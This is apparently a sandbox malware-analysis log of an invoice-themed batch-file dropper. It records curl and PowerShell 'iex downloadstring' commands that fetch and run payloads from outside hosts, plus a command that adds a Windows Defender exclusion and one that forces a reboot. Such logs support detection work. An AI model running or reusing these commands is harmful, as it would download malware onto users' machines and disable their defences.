Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDEE7F1	9_2_6FDEE7F1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD945AE	9_2_6FD945AE
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD88468	9_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD8839B	9_2_6FD8839B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE22CD	9_2_6FDE22CD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD8828B	9_2_6FD8828B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCA277	9_2_6FDCA277
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE08220	9_2_6FE08220
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD8A1DD	9_2_6FD8A1DD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD721F0	9_2_6FD721F0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE4159	9_2_6FDE4159
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDF35	9_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD85E20	9_2_6FD85E20
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD83DB1	9_2_6FD83DB1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD87D20	9_2_6FD87D20
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE01CEF	9_2_6FE01CEF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD89C8E	9_2_6FD89C8E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD83B1D	9_2_6FD83B1D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE17B2A	9_2_6FE17B2A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE11AE0	9_2_6FE11AE0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDA38	9_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE03968	9_2_6FE03968
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDEF8BA	9_2_6FDEF8BA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE9877	9_2_6FDE9877
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD85795	9_2_6FD85795
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE0D754	9_2_6FE0D754
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDEB723	9_2_6FDEB723
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD896C9	9_2_6FD896C9
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE196A7	9_2_6FE196A7
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD875C1	9_2_6FD875C1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD835FA	9_2_6FD835FA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCD4FF	9_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDED43B	9_2_6FDED43B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FE19295	9_2_6FE19295
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD87210	9_2_6FD87210
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE31BA	9_2_6FDE31BA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDE516D	9_2_6FDE516D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD9911E	9_2_6FD9911E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE6E18	11_2_6FDE6E18
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD86E28	11_2_6FD86E28
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD86E24	11_2_6FD86E24
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDBEB1A	11_2_6FDBEB1A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDA0919	11_2_6FDA0919
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE00915	11_2_6FE00915
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE167FF	11_2_6FE167FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDEE7F1	11_2_6FDEE7F1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD945AE	11_2_6FD945AE
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD88468	11_2_6FD88468
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD8839B	11_2_6FD8839B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE22CD	11_2_6FDE22CD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD8828B	11_2_6FD8828B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCA277	11_2_6FDCA277
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE08220	11_2_6FE08220
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD8A1DD	11_2_6FD8A1DD
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD721F0	11_2_6FD721F0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE4159	11_2_6FDE4159
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDF35	11_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD85E20	11_2_6FD85E20
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD83DB1	11_2_6FD83DB1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD87D20	11_2_6FD87D20
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE01CEF	11_2_6FE01CEF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD89C8E	11_2_6FD89C8E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD83B1D	11_2_6FD83B1D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE17B2A	11_2_6FE17B2A
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE11AE0	11_2_6FE11AE0
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDA38	11_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE03968	11_2_6FE03968
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDEF8BA	11_2_6FDEF8BA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE9877	11_2_6FDE9877
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD85795	11_2_6FD85795
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE0D754	11_2_6FE0D754
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDEB723	11_2_6FDEB723
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD896C9	11_2_6FD896C9
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE196A7	11_2_6FE196A7
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD875C1	11_2_6FD875C1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD835FA	11_2_6FD835FA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCD4FF	11_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDED43B	11_2_6FDED43B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FE19295	11_2_6FE19295
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD87210	11_2_6FD87210
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE31BA	11_2_6FDE31BA
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDE516D	11_2_6FDE516D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD9911E	11_2_6FD9911E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0419A550	13_2_0419A550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0419E488	13_2_0419E488
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0419A541	13_2_0419A541

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD80950 appears 302 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD8B69A appears 122 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD83A30 appears 34 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD8A42E appears 50 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD8D778 appears 46 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD8072B appears 54 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD8A455 appears 78 times
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: String function: 6FD80934 appears 148 times

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1184

Source: jli.dll.4.dr

Static PE information: Number of sections : 11 > 10

Source: amsi64_6872.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_7380.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6872, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.expl.evad.winBAT@26/50@1/3

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDCD3BB _getdiskfree,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,memset,GetDiskFreeSpaceA,GetLastError,_errno,

9_2_6FDCD3BB

Source: C:\Windows\System32\curl.exe

File created: C:\Users\Public\Documents\vs1.ps1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1684:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1492
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1684:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3536:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6672:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blqdhdij.dyb.ps1

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Factura-2410-CFDI.bat" "

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\curl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Factura-2410-CFDI.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl "https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0803-44a8-b1e0-254f44c155e2" -o "C:\Users\Public\Documents\vs1.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_kjfech8_V.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://fsnat.shop/a/08/150822/up/up') "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -
Source: unknown	Process created: C:\_kjfech8_V\_kjfech8_Vi7.exe "C:\_kjfech8_V\_kjfech8_Vi7.exe"
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_kjfech8_V\_kjfech8_Vi7.exe "C:\_kjfech8_V\_kjfech8_Vi7.exe"
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1184
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command "$psakeDir = ([array](dir """C:\Users\user\Desktop\vendor\packages\psake.*"""))[-1]; ".$psakeDir\tools\psake.ps1" build.psake.ps1 -ScriptPath "$psakeDir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl "https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0803-44a8-b1e0-254f44c155e2" -o "C:\Users\Public\Documents\vs1.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command "$psakeDir = ([array](dir """C:\Users\user\Desktop\vendor\packages\psake.*"""))[-1]; ".$psakeDir\tools\psake.ps1" build.psake.ps1 -ScriptPath "$psakeDir\tools" ; if ($psake.build_success -eq $false) { exit 1 } else { exit 0 }"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\_kjfech8_V\_kjfech8_Vi7.exe "C:\_kjfech8_V\_kjfech8_Vi7.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://fsnat.shop/a/08/150822/up/up') "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -nop -win 1 -	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
